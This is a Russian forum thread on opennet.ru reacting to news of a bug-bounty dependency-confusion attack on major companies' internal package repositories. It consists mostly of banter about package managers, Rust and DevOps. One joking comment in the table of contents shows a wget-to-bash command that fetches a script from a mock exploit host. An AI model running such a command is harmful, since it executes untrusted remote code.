forum.opennet.ru - "Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний" (183)

"Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний"	+/–
Сообщение от opennews (?), 10-Фев-21, 11:03
Представлен поразительный по своей простоте метод атаки на зависимости в приложениях, при разработке которых используются внутренние репозитории пакетов. Выявившие проблему исследователи смогли выполнить свой код на внутренних серверах 35 компаний, среди которых PayPal, Micrоsoft, Apple, Netflix, Uber, Tesla и Shopify. Взломы проводились в рамках программ Bug Bounty, согласованно с атакуемыми компаниями, и уже принесли авторам 130 тысяч долларов, выплаченных в форме вознаграждений за выявление уязвимостей (выплаты продолжают поступать)... Подробнее: https://www.opennet.dev/opennews/art.shtml?num=54566
Ответить \| Правка \| Cообщить модератору

Оглавление

Нужно больше зависимостей и скриптов установки , Leftpad (?), 11:03 , 10-Фев-21, (1) +55

Скрыто модератором, Лудакрис (?), 11:08 , 10-Фев-21, (3) –12

Скрыто модератором, Аноним (6), 11:15 , 10-Фев-21, (6) –4

Скрыто модератором, Лудакрис (?), 11:31 , 10-Фев-21, (12) –5
Скрыто модератором, Аноним (58), 13:24 , 10-Фев-21, (58) +1

Не зря же в расте даже базовые возможности - во внешних модулях Растаманы приго, Аноним (8), 11:18 , 10-Фев-21, (8) +11

https www reddit com r rust comments lgl7bf is_cargo_vulnerable_to_this_supply, Аноним (65), 13:30 , 10-Фев-21, (65) +5

Озвучу для тех, кому лень переходить Нет, в карго такой уязвимости нет Но это в, topin89 (ok), 20:08 , 10-Фев-21, (147) +5

В смысле, никто не думал заранее Я всегда считал это багом многих утилит работы , rex (??), 13:30 , 18-Фев-21, (202)

Больше зависимостей богу зависимостей Да здравствует leftpad , Аноним (10), 11:20 , 10-Фев-21, (10) +9

Да здравствует Haskell , Аноним (-), 15:04 , 10-Фев-21, (101)
ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод, ЧешкиЧехова (?), 19:07 , 11-Фев-21, (180) +4

давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать, Aga (??), 00:03 , 14-Фев-21, (196)

ЧСХ пока так делали - работало явно лучше Во всяком случае, гиг RAM на рендер н, Аноним (-), 08:14 , 14-Фев-21, (198) +2

Принцип модульности Орлова если из распечатки одного модуля программы можно сви, rico (ok), 18:52 , 18-Фев-21, (203)

Вполне нормальное явление Иначе зачем все эти либы и фреймворки, сильные обойду, RedEyedMan (ok), 14:09 , 26-Фев-21, (204)

Нужно больше васянских библиотек и костылей на вызов одной функции , Dzen Python (ok), 12:50 , 10-Фев-21, (38)

Так, блин, это ж программировать надо А вот это вебмакаки не умеют Ну, скольк, Аноним (-), 03:38 , 12-Фев-21, (184) –1

Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использов, Аноним (48), 13:08 , 10-Фев-21, (48) +7

Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод с, YetAnotherOnanym (ok), 14:19 , 10-Фев-21, (84) +11

Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых , Bob (??), 00:09 , 12-Фев-21, (183) +1

Так писали наши деды Раньше позорным считалось переиспользование кода не только, Аноним (102), 15:06 , 10-Фев-21, (102) +1

или просто Java-программист, italliano monkey (?), 00:03 , 11-Фев-21, (157) +1
Наши деды славные победы, вот где наши деды , Sample (??), 14:58 , 01-Мрт-21, (205)

то ты сделал что-то ну вот вообще совсем не так , Аноним (-), 03:39 , 12-Фев-21, (185) +1

Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят , InuYasha (??), 22:27 , 10-Фев-21, (153) +6
Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 , Аноним (200), 14:14 , 15-Фев-21, (200)

всё гениальное просто, Леголас (ok), 11:06 , 10-Фев-21, (2) +9

Природа красива в простоте сложности и сложности простоты Не удаётся скрыться о, AHOHUM (?), 13:14 , 10-Фев-21, (51) –2

Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны раст, Аноним (194), 00:49 , 13-Фев-21, (194)

Скрыто модератором, DildoZilla (?), 11:14 , 10-Фев-21, (4) –6
Дыра Раста проблема тоже касается , Аноним (5), 11:15 , 10-Фев-21, (5) –2

а есть упоминание читайте внимательнее, глупые аноны, это нелегко, знаю, но пыт, Лудакрис (?), 11:36 , 10-Фев-21, (18) +1

Нет упоминанй, потому что Растом и его пакетником в не пользуются , Аноним (21), 11:41 , 10-Фев-21, (21)
Не хами , Аноним (5), 11:42 , 10-Фев-21, (22)
Я не тот анон, но там написано в других системах, таких как и дальше привод, Аноним (48), 13:12 , 10-Фев-21, (49) +1

Проблема ещё шире переменчивость артефактов во внешних сетях Человеки делают не, An O Nim (?), 16:13 , 10-Фев-21, (113) +3

Да В интернете может что угодно в любой момент исчезнуть навсегда, не оставив с, Аноним (194), 00:51 , 13-Фев-21, (195)

Нет, там нужно указывать registry, откуда качать пакет , Ананимус (?), 11:53 , 10-Фев-21, (25) +2
Не раста, а cargo Именно эта не касается, тк зависимости качаются по дефолту с , cheater (?), 12:03 , 10-Фев-21, (30) +5

Да, это проблема и не только cargo, но и всего раста, потому что все используют , Аноним (5), 12:09 , 10-Фев-21, (32) +3

cargo умеет работать с git-репозиториями и локальными пакетами , Siborgium (ok), 12:28 , 10-Фев-21, (37) +1

И На локальные пакеты он сможет сослаться в уже скомпилированном состоянии А на, Dzen Python (ok), 12:53 , 10-Фев-21, (39) –2

В уже скомпилированном состоянии он будет содержать крейты в себе Раст все расто, Аноним (68), 13:38 , 10-Фев-21, (68) +1

Карл, а что делали растаманы 15 лет , Аноним (8), 13:58 , 10-Фев-21, (79) –2

Ничего не делали, я уже говорил в соседнем топике Раскручивали язык, чтобы взят, Ordu (ok), 14:30 , 10-Фев-21, (90) –2

Да у них и сам яп бесполезен без сишно-сиплюсплюсного LLVM а Это не мешаер раст, Аноним (-), 03:43 , 12-Фев-21, (186) –3

Вопрос некорректен, тк скомпилированный бинарник на расте - это обычный ELF или , cheater (?), 13:57 , 10-Фев-21, (78) +2

Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать то, Аноним (5), 12:54 , 10-Фев-21, (41) +3

Позволен git, путь, и crates io Можно создать свой https github com rust-lang, Аноним (68), 13:43 , 10-Фев-21, (70) +1

Называется это crates io registry https doc rust-lang org cargo reference re, Аноним (68), 13:45 , 10-Фев-21, (72) –1
написал вместо того что бы сказать нет , Аноним (119), 17:14 , 10-Фев-21, (119) +1

Это unsafe и не позволяет делать запланированное устаревание, Аноним (-), 17:56 , 10-Фев-21, (128) +1
Вопрос не очень понятен 99 999 процентов пакетов в расте имеют внешние завис, cheater (?), 18:25 , 10-Фев-21, (134) +1

Даже если сделать cargo vendor , то изначально все равно крейты попадут в локал, Аноним (5), 19:53 , 10-Фев-21, (146) –1

Да, уважающие себя дистрибутивы, вроде Дебиана и Федоры так и делают, поэтому в , Аноним (149), 20:29 , 10-Фев-21, (149) +1

Если у тебя конечно есть доступ к репозиторию , Аноним (68), 12:22 , 10-Фев-21, (34)

А при чем тут Раст Он же не скриптовый вроде, Аноним (68), 12:24 , 10-Фев-21, (35) –4

Проблема не в языках, а в пакетных менеджерах , pda (?), 13:26 , 10-Фев-21, (59)

а там написано, но это ж читать букавки надо, чему многи не обучены , Аноним (156), 23:38 , 10-Фев-21, (156) +1
в русте зависимости ставятся через wget https sploit onion l33t sh 124 bash, Аноним (199), 23:56 , 14-Фев-21, (199)

Рекомендации по защите не работают Работает только система, которая безопасна из, тоже Аноним (ok), 11:17 , 10-Фев-21, (7) +13
Они что, объявляли их просто как пакеты, а не ссылкой на каталог файл типа file , Lex (??), 11:20 , 10-Фев-21, (11) +1

Ты что Там жЫ уважаемые девляпсы и сениоры Они такой код пишуть - аж закачаешь, Dzen Python (ok), 12:54 , 10-Фев-21, (40) –2

Не пишут b ь b А рисуют b Ъ b Баги фиксят в продукте исправлением па, AHOHUM (?), 13:20 , 10-Фев-21, (54) +3

Скорее уволят начотдела, у которого програмеры пишут недостаточно быстро , YetAnotherOnanym (ok), 17:07 , 10-Фев-21, (118) +1

Так им всем и надо , ryoken (ok), 11:32 , 10-Фев-21, (14) +1
Руст или вообще какой-нибудь петон Мы то знаем , Аноним (-), 11:46 , 10-Фев-21, (23) +1
А как они узнали их имена , Аноним (24), 11:51 , 10-Фев-21, (24)

А если кто то забудет там пароли , Аноним (24), 11:55 , 10-Фев-21, (26) +3

На этот случай есть безопасТное восстановление паролей через ваши безопасТные мо, Аноним (-), 05:43 , 14-Фев-21, (197)

ну например если дотнет то прям в файле проекта PackageReference Include Fck U , kissmyass (?), 12:02 , 10-Фев-21, (29) +3

В смысле Разве оно первым делом не локальный файл ищет Весь смысл подобных шт, Аноним (24), 14:20 , 10-Фев-21, (85) –1

Локально это где Nuget пакет не поставляется с самим проектом , kissmyass (?), 15:03 , 10-Фев-21, (100)

а если доступа к коду нет, но есть к бинарникам, то обычно одна ассембли - один , kissmyass (?), 12:04 , 10-Фев-21, (31)

Использовали бы FreeBSD и её дерево портов, проблем бы не было , bsdun (?), 11:58 , 10-Фев-21, (27) +2
Я тоже немного офигел когда приватные пакеты искались на nuget orgСамый очевидны, kissmyass (?), 11:58 , 10-Фев-21, (28) –1

а Nexus не накачает с nuget org более новых версий, чем локальные , JL2001 (ok), 14:21 , 10-Фев-21, (86)

Насколько я знаю, там надо апрувить пакеты на кеширование Если пакета нет, то по, kissmyass (?), 15:09 , 10-Фев-21, (103) –1

возможно от настроек зависит, наш выкачивает автоматом, JL2001 (ok), 15:55 , 10-Фев-21, (109)

Зависимости эт плохо пнятненько, Fracta1L (ok), 12:10 , 10-Фев-21, (33) +1

Сильвупле, Сишные дырени (?), 20:09 , 10-Фев-21, (148) +1

composer у php не подвержен такой бяке , qweqwe (?), 12:27 , 10-Фев-21, (36) +1

Если сам не наделаешь, Аноним (88), 14:24 , 10-Фев-21, (88)

Защита методом безопасность через неясность - говно В нормальных компаниях про, Аноним (42), 12:54 , 10-Фев-21, (42) +3

Это где так , Аноним (-), 12:57 , 10-Фев-21, (43) +3

банк, Атон (?), 21:12 , 10-Фев-21, (151)

огласите название, плзбанк резервного фонда сша имени масонов их СБ памятник в п, JL2001 (ok), 02:17 , 11-Фев-21, (162)

крупный банк сбер, втб, райф, другиеникто не знает как, но времени это занимае, Атон (?), 14:41 , 11-Фев-21, (174) –1

В нормальных компаниях к тому моменту, когда они выкладывают код имеют зрелый пр, Dzen Python (ok), 12:58 , 10-Фев-21, (44) –2
Если уж этим на проверены службой безопасности не хватает, то где тогда норма, Аноним (46), 13:05 , 10-Фев-21, (46) +1
втф ловите эльфа наркомана , JL2001 (ok), 14:23 , 10-Фев-21, (87)

Пользователи Windows, скачавшие её с торрентов у Васяна и потом качающие на неё , www2 (??), 15:33 , 10-Фев-21, (106) +3

покажите мне сертефицированную ОСь, где сертефицированные обновления безопасност, JL2001 (ok), 18:15 , 10-Фев-21, (132)

Этот случай только лишний раз доказывает ущербность идеи автоматических пакетов, Gogi (??), 13:02 , 10-Фев-21, (45) +2

Может наоборот Там где комерческое - то пофиг, барин то платит , Аноним (-), 13:06 , 10-Фев-21, (47)

Считается, что так тоже не катит Т к в полезного в коммерческом вырастет тот, , An O Nim (?), 16:18 , 10-Фев-21, (114)

а линуксы в продакшене ты как обновляешь, братюнь зы какова ответственность ред, JL2001 (ok), 14:28 , 10-Фев-21, (89) –1

Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс Репы RHE, An O Nim (?), 16:24 , 10-Фев-21, (115) –2

я купил суппорт редхата, подключил их репы, автор оченьНужнойПрограммы обсфурцир, JL2001 (ok), 18:24 , 10-Фев-21, (133)

В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотр, Аноним (152), 22:25 , 10-Фев-21, (152) +2

это то понятненько, что смотрит в теории но вот сейчас у меня вопрос - какая от, JL2001 (ok), 02:20 , 11-Фев-21, (163)

очень простая - ни одна айти контора не будет нести ответственность за твой бизн, fske (?), 18:44 , 11-Фев-21, (178)

ну раздавал же редхат непонятно кем и как модифицированный и, что характерно - , пох. (?), 17:50 , 10-Фев-21, (124) +1

Поддерживаю Собственно поэтому приходится у себя в гит репозитории хранить все , Аноним (139), 19:01 , 10-Фев-21, (139)
Против выступать легко А что в замен предложите , anonymous (??), 11:17 , 11-Фев-21, (171) +1

Так я и не понял, это баг или фича , Андрей (??), 13:13 , 10-Фев-21, (50) +2

Это фича А сабж это атака через фичу Почти что социнженерия , Аноним (58), 13:27 , 10-Фев-21, (60) +1
Это квантовое программирование, багофича Шредингера Будущее наступило , Аноним (62), 13:28 , 10-Фев-21, (62) –1

И как раст от такого спасет А вы говорите безопасный язык А раст такая же дыре, Аноним (58), 13:15 , 10-Фев-21, (52) –2

crate не подвержен этой проблеме , pda (?), 13:30 , 10-Фев-21, (63)

Скрыто модератором, Платные Эксплоиты и Шифровальщики (?), 13:47 , 10-Фев-21, (73) –4

Во-первых в rust этой уязвимости нет Во-вторых rust -- это про safety, а не про, anonymous (??), 11:19 , 11-Фев-21, (172) +1

Не глупо ли это само по себе - выкладывать на публику проекты, зависящие от неоп, Аноним (55), 13:21 , 10-Фев-21, (55) –1

они и не выкладываютв манифесте внутри опубликованного бинарника осталась инфа, JL2001 (ok), 14:32 , 10-Фев-21, (91) +3

запускайте npm pip gems install на машинах разработчиков без изоляции, он вам и , Аноним (61), 13:27 , 10-Фев-21, (61) +1

а иначе нихрена не работает и не собирается И что вот делааааать будииим , пох. (?), 17:51 , 10-Фев-21, (125)

Микросервис в вебассемблю в контейнер в виртуальную машину в облаке , Аноним (152), 22:28 , 10-Фев-21, (154) +2

А в яйце игла, Аноним (201), 18:46 , 16-Фев-21, (201)

чо там, пацаны, давно в vlc-ppa публиковали linux-generic-7 0 1 , JL2001 (ok), 13:30 , 10-Фев-21, (64) +2
pred post-install запускать от рута, говорили они, ничего не будет, всегда так д, JL2001 (ok), 13:36 , 10-Фев-21, (66) –2

Оно и без рута отлично линукс юзерам установит сервисы , Аноним (61), 13:50 , 10-Фев-21, (76) +1

Мой любимый кошмар на работе - почти каждый проект закачивает пол интернета при , PetrG (ok), 13:44 , 10-Фев-21, (71) +3

Выкачать всё в локальный репозиторий, сделать локальные пакеты Запретить качать, Аноним (58), 14:46 , 10-Фев-21, (93) +1

Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малв, Аноним (61), 14:58 , 10-Фев-21, (99) +4

типо о старых версиях типо уже должна была поднятья шумиха, если что , JL2001 (ok), 15:50 , 10-Фев-21, (107) +1

Поднялась шумиха, и твой пакетик на проде клиента дальше летит с вирусами , Аноним (61), 19:27 , 10-Фев-21, (142)

А как же Perl 3, Аноним (74), 13:49 , 10-Фев-21, (74)

Залатали временно, Аноним (61), 13:50 , 10-Фев-21, (75)
Вернули домен, Аноним (81), 14:06 , 10-Фев-21, (81) +2

А зря , Аноним (189), 14:41 , 12-Фев-21, (189)

вот тебе и DevУпс , Аноним (77), 13:55 , 10-Фев-21, (77)
Очевидная атака Удивительно что такие компании при сборке используют зависимост, Аноним (80), 14:01 , 10-Фев-21, (80)

Проверки подписи не у всех есть, да и проверяет вначале публичные репы и только , Аноним (61), 14:06 , 10-Фев-21, (82) +1

Скачивают руками, локально и только потом собираю Шарится по сторонним репам все, Аноним (110), 15:59 , 10-Фев-21, (110) +1

Анониму всё очевидно, но 130К грина ушло опять не ему , Страдивариус (?), 16:46 , 10-Фев-21, (116) +2

Для пистона это норма Даже прожекты с мегатоннами звест на гитхубе, имеют мегат, Аноним (74), 14:07 , 10-Фев-21, (83) +4

Ну все значит нам нужна единая платформа, которая будет монолитна полностью запр, Аноним (58), 14:44 , 10-Фев-21, (92) –1

Может не нужна платформа, а достаточно просто научиться программировать и делать, Аноним (97), 14:56 , 10-Фев-21, (97) +2

а вас то научили как коммунизм построить , JL2001 (ok), 15:52 , 10-Фев-21, (108) –1

Проблема не в зависимостях, а в навыках и культуре разработки, которые хромают у, Аноним (74), 15:15 , 10-Фев-21, (104)

Проблема не в навыках, а в том что рынку нужно быстро и дешево За идеальных сфе, Стереопаштет (?), 06:10 , 12-Фев-21, (187) +1

А что разве в GO уже переделали Раньше в GO чтобы цеплять файлы с гитхаба нужн, Аноним (24), 14:54 , 10-Фев-21, (94) –2

go mod vendor тебе в помощь В голанге не так , Брат Анон (ok), 16:10 , 10-Фев-21, (112) +1
в Go - ещё лучше на go get, go лезет к гуглу и спрашивает у него, можно ли скач, еман (?), 22:15 , 11-Фев-21, (181)

Чем проще разработка, тем проще эксплуатация уязвимостей , Оуноуним (?), 14:56 , 10-Фев-21, (96) +1

Тем проще ее заметить Вон в ядре поди чего только нет исходники то открыты , Аноним (24), 14:58 , 10-Фев-21, (98) –1

И как, заметили Пока чуваки не пришли с мешком для денег , пох. (?), 17:53 , 10-Фев-21, (126) –1

Заманивать хакера на живца деньги печеньки , Аноним (145), 19:30 , 10-Фев-21, (145) +1

Странно что никто не озадачился проверкой базовых образов на которых собираются , Erley (ok), 15:23 , 10-Фев-21, (105) +4

Местные комментаторы уже давно знают что даже в надежном источнике с проверенной, Аноним (145), 19:29 , 10-Фев-21, (144)

плюсую, бро 111, JL2001 (ok), 02:12 , 11-Фев-21, (161)

Так-то вендоринг в golang великая сила Правда, это тоже не спасёт, если внешний, Брат Анон (ok), 16:09 , 10-Фев-21, (111) –1
Скрыто модератором, Аноним (117), 17:01 , 10-Фев-21, (117) –1

Скрыто модератором, пох. (?), 17:56 , 10-Фев-21, (127) –1

Похоже, что пакетный ад Javascript дал о себе знать , Аноним (120), 17:17 , 10-Фев-21, (120) +1

так и тут кровавая рука жаваскрипта , JL2001 (ok), 18:28 , 10-Фев-21, (135)

Не так страшен жараскрипт как те кто на нем пишут , Аноним (145), 19:28 , 10-Фев-21, (143) +4

как то, что на нём пишут , InuYasha (??), 22:29 , 10-Фев-21, (155) +1

Вообще-то когда скачивается пакет, должна подпись проверяться , Аноним (120), 17:24 , 10-Фев-21, (121) –2

дык, норм у него была подпись - в точности того чувака, который его честно созда, пох. (?), 17:57 , 10-Фев-21, (129) +2
так она и проверилась, и вернаяно репозиторий другой и автор пакета другойя не з, JL2001 (ok), 18:30 , 10-Фев-21, (136)

Есть лучше вариант 8212 пинить версии пакетов и всех зависимостей конечно и, Аноним (167), 05:19 , 11-Фев-21, (167)

у меня есть проект-либа и 100500 зависящих от неё проектовя апаю версию либы и д, JL2001 (ok), 18:45 , 11-Фев-21, (179)

Зачем тестировать Просто пользуйтесь Пользуйтесь все Пока гром не грянет, муж, mumu (ok), 17:24 , 10-Фев-21, (122)

Ну ты же понимаешь, что необходимость поддерживать функции оригинала скачав его, пох. (?), 17:58 , 10-Фев-21, (130) –1
Вы про Герасима , Леголас (ok), 18:50 , 10-Фев-21, (138)

Всего 130 тысяч долларов, за такую черную ды ру, вас на , Аноним (123), 17:49 , 10-Фев-21, (123) +2

Чуваки просили передать, что мешок, в котором они уволокли дань, ничуть от этого, пох. (?), 20:34 , 10-Фев-21, (150) –1

Вот зачем девопсы нужны , Аноним (131), 18:15 , 10-Фев-21, (131) –3

Девпсы бесполезные существа , Аноним (61), 18:44 , 10-Фев-21, (137) –1

Ненавижу девопсов Меня в детстве огромный лохматый девопс покусал за ногу , Рр (?), 06:15 , 12-Фев-21, (188) –1

Девляпсы опять налетели на проблемы говнорепозитариев Удивительно, правда , Аноним (140), 19:07 , 10-Фев-21, (140)

Смузи разработчики не умеют разрабатывать , Аноним (145), 19:27 , 10-Фев-21, (141) +1

75 от всех зафиксированных запусков кода были связаны с загрузкой NPM- Вот это , srgazh (ok), 00:13 , 11-Фев-21, (158) –1
Молодец человек Увидел возможность, реализовал и очень не плохо на ней заработал, Ilya Indigo (ok), 01:01 , 11-Фев-21, (159) +1

А мог бы стать миллионом собирая фермы на ригах, Аноним (176), 15:49 , 11-Фев-21, (176) +2

Внешние автоматически выкачиваемые зависимости 8212 это всегда риск А вдруг з, Аноним (160), 02:10 , 11-Фев-21, (160) +1

а внешнее НЕ автоматическое выкачивание зависимостей - это как или у вас тоже, JL2001 (ok), 02:24 , 11-Фев-21, (164)

Вот кто бы сомневался во всех этох npn, ruby-чего-то там Там же будет и всё оста, deeaitch (ok), 04:05 , 11-Фев-21, (165)
Надуманная проблема для python --extra-index-url там никто не использует, кроме , Аноним (167), 05:16 , 11-Фев-21, (166)
А как выполнить произвольный код в NuGet-пакете после его загрузки, если ни один, .NET (?), 14:09 , 11-Фев-21, (173)
Другим урок Расслабляться нельзя Всё время надо быть на чеке , Аноним (189), 14:43 , 12-Фев-21, (191)

Сообщения [Сортировка по времени | RSS]

1. "Атака на зависимости позволила выполнить код на серверах Pay..." +55 +/–

Сообщение от Leftpad (?), 10-Фев-21, 11:03

Нужно больше зависимостей и скриптов установки.

Ответить | Правка | Наверх | Cообщить модератору

3. Скрыто модератором –12 +/–

Сообщение от Лудакрис (?), 10-Фев-21, 11:08

нужно больше содержательных комментариев на опеннет.ру

Ответить | Правка | Наверх | Cообщить модератору

6. Скрыто модератором –4 +/–

Сообщение от Аноним (6), 10-Фев-21, 11:15

Нужно больше коментариев
пытающихся в сарказм

Ответить | Правка | Наверх | Cообщить модератору

12. Скрыто модератором –5 +/–

Сообщение от Лудакрис (?), 10-Фев-21, 11:31

будь осторожен в своих желаниях: мой сарказм обладает силой, разрушающей любую логику

Ответить | Правка | Наверх | Cообщить модератору

58. Скрыто модератором +1 +/–

Сообщение от Аноним (58), 10-Фев-21, 13:24

Нужно больше подстрекателей к сарказму.

Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

8. "Атака на зависимости позволила выполнить код на серверах Pay..." +11 +/–

Сообщение от Аноним (8), 10-Фев-21, 11:18

Не зря же в расте даже базовые возможности - во внешних модулях. Растаманы приготовили благодатную почву...

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

65. "Атака на зависимости позволила выполнить код на серверах Pay..." +5 +/–

Сообщение от Аноним (65), 10-Фев-21, 13:30

https://www.reddit.com/r/rust/comments/lgl7bf/is_cargo_vulne.../

Ответить | Правка | Наверх | Cообщить модератору

147. "Атака на зависимости позволила выполнить код на серверах Pay..." +5 +/–

Сообщение от topin89 (ok), 10-Фев-21, 20:08

Озвучу для тех, кому лень переходить:
Нет, в карго такой уязвимости нет. Но это вышло случайно, о такой атаке никто не думал заранее.

Ответить | Правка | Наверх | Cообщить модератору

202. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от rex (??), 18-Фев-21, 13:30

В смысле, никто не думал заранее?
Я всегда считал это багом многих утилит работы с пакетами.
А вот, например, в `docker pull` явно прописывается адрес регистри.

Ответить | Правка | Наверх | Cообщить модератору

10. "Атака на зависимости позволила выполнить код на серверах Pay..." +9 +/–

Сообщение от Аноним (10), 10-Фев-21, 11:20

Больше зависимостей богу зависимостей! Да здравствует leftpad.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

101. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (-), 10-Фев-21, 15:04

Да здравствует Haskell!

Ответить | Правка | Наверх | Cообщить модератору

180. "Атака на зависимости позволила выполнить код на серверах Pay..." +4 +/–

Сообщение от ЧешкиЧехова (?), 11-Фев-21, 19:07

ЛапкоКодеры импортируют на лету непроверенное гавно из внешних источников в прод рантайм.
Так вообще можно было сразу форму отправки для загрузки произвольного крипта сделать и повесить на главную, механика даже не уровня xss.
Виток "Кнута-Смузи":
1
Тяжёлые времена
рождают сильных кодеров.
2
Сильные кодеры
ролждают либы и фреймворки.
3
Фреймворки и либы
рождают слабых кодеров.
4
Слабые кодеры
рождают тяжёлые времена.
Мы где то в середине 4ой стадии. А все умы идут в децентрализацию, trust computing и прочие умные модели, чтобы закрыть эпоху смузихлебов танцующих дырявую Тьюринг машину.

Ответить | Правка | К родителю #10 | Наверх | Cообщить модератору

196. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Aga (??), 14-Фев-21, 00:03

давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать все в условный index.php, чтобы чувствовать себя сильными кодерами

Ответить | Правка | Наверх | Cообщить модератору

198. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (-), 14-Фев-21, 08:14

> давайте тогда делать вебсайты без этих ваших фреймворков и MVC, будем складывать
> все в условный index.php, чтобы чувствовать себя сильными кодерами
ЧСХ пока так делали - работало явно лучше. Во всяком случае, гиг RAM на рендер не жрало и не грузилось по 5 минут, даже несмотря на тормозные диалапы с GPRS и ADSL-ями.

Ответить | Правка | Наверх | Cообщить модератору

203. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от rico (ok), 18-Фев-21, 18:52

Принцип модульности Орлова: если из распечатки одного модуля программы можно свить веревку, на которой можно повесить программиста, его написавшего, то все это следует сделать.

Ответить | Правка | Наверх | Cообщить модератору

204. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от RedEyedMan (ok), 26-Фев-21, 14:09

Вполне нормальное явление. Иначе зачем все эти либы и фреймворки, сильные обойдутся и без них. А я слабый, пользуюсь либами и фреймворками.

Ответить | Правка | К родителю #180 | Наверх | Cообщить модератору

38. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Dzen Python (ok), 10-Фев-21, 12:50

Нужно больше васянских библиотек и костылей "на вызов одной функции"

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

184. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (-), 12-Фев-21, 03:38

Так, блин, это ж программировать надо?! А вот это вебмакаки не умеют. Ну, сколько из вас хотя-бы код Хэмминга сможет накодить? Сами? Без подсматривания к другим и чужих либ? А чтоб еще и эффективно?!
p.s. это, кстати, было жестко обстебано в "масяне". Мол, вы берете флешку с википедией, валите в прошлое... у вас все знания мира! Скоро весь мир будет у ваших ног! Вы сможете невероятно продвинуть человечество в развитии тысячу лет назад, попутно озолотившись. Так, стоп? В древнем мире оказывается нет компьютеров. А как работает флеш-память вы, разумеется, не знаете. И уж тем более не сможете объяснить это другим. Поэтому ваши знания будут недоступны следующую 1000 лет, а потом они уже и не нужны как раз. А вы - лох! Который даже формулу пороха не знает! А все что лох по жизни умеет - програмить плагинчики к какой-то ненужности. Без этой ненужности лох вообще совершенно бесполезен.
(краткое содержание, вольный пересказ, возможны неточности)

Ответить | Правка | Наверх | Cообщить модератору

48. "Атака на зависимости позволила выполнить код на серверах Pay..." +7 +/–

Сообщение от Аноним (48), 10-Фев-21, 13:08

Правильно, если у тебя в большом проекте 1 000 000 однострочников и ты использовал этот проект как платформу для 1000 других проектов, то весь код между проектами нужно копировать. И не в коем случае не использовать менеджеры зависимости! И когда ты фиксишь например 100 функций-однострочников в одном проекте, то все их вручную нужно копировать в 100 других проектов. Гениально, надо продвигать эту идею в массы.

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

84. "Атака на зависимости позволила выполнить код на серверах Pay..." +11 +/–

Сообщение от YetAnotherOnanym (ok), 10-Фев-21, 14:19

Вообще-то, когда приходится фиксить сотни чужих пакетов, это достаточный повод сесть, подумать, и выбрать какую-то более другую платформу.

Ответить | Правка | Наверх | Cообщить модератору

183. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Bob (??), 12-Фев-21, 00:09

Или заводить трактор, взяв месяц больничного и месяц отпуска, оплачиваемых)

Ответить | Правка | Наверх | Cообщить модератору

102. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (102), 10-Фев-21, 15:06

Так писали наши деды. Раньше позорным считалось переиспользование кода не только в соседних отделах, но даже в рамках одной программы. Если ты не можешь написать оригинальный код ad-hoc, то ты даже не программист, ты просто макака-копипастер.

Ответить | Правка | К родителю #48 | Наверх | Cообщить модератору

157. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от italliano monkey (?), 11-Фев-21, 00:03

или просто Java-программист

Ответить | Правка | Наверх | Cообщить модератору

205. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Sample (??), 01-Мрт-21, 14:58

Наши деды славные  победы, вот  где  наши  деды

Ответить | Правка | К родителю #102 | Наверх | Cообщить модератору

185. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (-), 12-Фев-21, 03:39

> Правильно, если у тебя в большом проекте 1 000 000 однострочников
...то ты сделал что-то ну вот вообще совсем не так...

Ответить | Правка | К родителю #48 | Наверх | Cообщить модератору

153. "Атака на зависимости позволила выполнить код на серверах Pay..." +6 +/–

Сообщение от InuYasha (??), 10-Фев-21, 22:27

Вообще от зависимостей надо лечиться, а то в диспансер на учёт поставят :)

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

200. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (200), 15-Фев-21, 14:14

Ваш комментарий в моей голове был озвучен голосом нежити из Варкрафта 3 ))

Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

2. "Атака на зависимости позволила выполнить код на серверах Pay..." +9 +/–

Сообщение от Леголас (ok), 10-Фев-21, 11:06

всё гениальное просто

Ответить | Правка | Наверх | Cообщить модератору

51. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от AHOHUM (?), 10-Фев-21, 13:14

Природа красива в простоте сложности и сложности простоты. Не удаётся скрыться от сложности в простоту.

